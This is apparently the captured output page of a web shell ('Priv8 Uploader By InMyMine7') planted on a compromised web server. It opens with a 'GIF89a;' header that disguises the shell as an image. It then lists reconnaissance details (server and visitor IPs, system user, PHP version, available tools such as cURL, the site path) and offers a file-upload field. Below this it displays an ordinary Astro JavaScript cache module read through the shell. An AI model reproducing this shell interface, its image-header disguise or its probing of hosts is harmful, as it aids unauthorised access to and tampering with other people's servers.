GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.249 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/astro/dist/runtime/server/ |
Upload File : |
import { HTMLString } from "./escape.js";
class HTMLStringCache {
cache = /* @__PURE__ */ new Map();
maxSize;
constructor(maxSize = 1e3) {
this.maxSize = maxSize;
this.warm(COMMON_HTML_PATTERNS);
}
/**
* Get or create an HTMLString for the given content.
* If cached, the existing object is returned and moved to end (most recently used).
* If not cached, a new HTMLString is created, cached, and returned.
*
* @param content - The HTML string content
* @returns HTMLString object (cached or newly created)
*/
getOrCreate(content) {
const cached = this.cache.get(content);
if (cached) {
this.cache.delete(content);
this.cache.set(content, cached);
return cached;
}
const htmlString = new HTMLString(content);
this.cache.set(content, htmlString);
if (this.cache.size > this.maxSize) {
const firstKey = this.cache.keys().next().value;
if (firstKey !== void 0) {
this.cache.delete(firstKey);
}
}
return htmlString;
}
/**
* Get current cache size
*/
size() {
return this.cache.size;
}
/**
* Pre-warms the cache with common HTML patterns.
* This ensures first-render cache hits for frequently used tags.
*
* @param patterns - Array of HTML strings to pre-cache
*/
warm(patterns) {
for (const pattern of patterns) {
if (!this.cache.has(pattern)) {
this.cache.set(pattern, new HTMLString(pattern));
}
}
}
/**
* Clear the entire cache
*/
clear() {
this.cache.clear();
}
}
const COMMON_HTML_PATTERNS = [
// Structural elements
"<div>",
"</div>",
"<span>",
"</span>",
"<p>",
"</p>",
"<section>",
"</section>",
"<article>",
"</article>",
"<header>",
"</header>",
"<footer>",
"</footer>",
"<nav>",
"</nav>",
"<main>",
"</main>",
"<aside>",
"</aside>",
// List elements
"<ul>",
"</ul>",
"<ol>",
"</ol>",
"<li>",
"</li>",
// Void/self-closing elements
"<br>",
"<hr>",
"<br/>",
"<hr/>",
// Heading elements
"<h1>",
"</h1>",
"<h2>",
"</h2>",
"<h3>",
"</h3>",
"<h4>",
"</h4>",
// Inline elements
"<a>",
"</a>",
"<strong>",
"</strong>",
"<em>",
"</em>",
"<code>",
"</code>",
// Common whitespace
" ",
"\n"
];
export {
COMMON_HTML_PATTERNS,
HTMLStringCache
};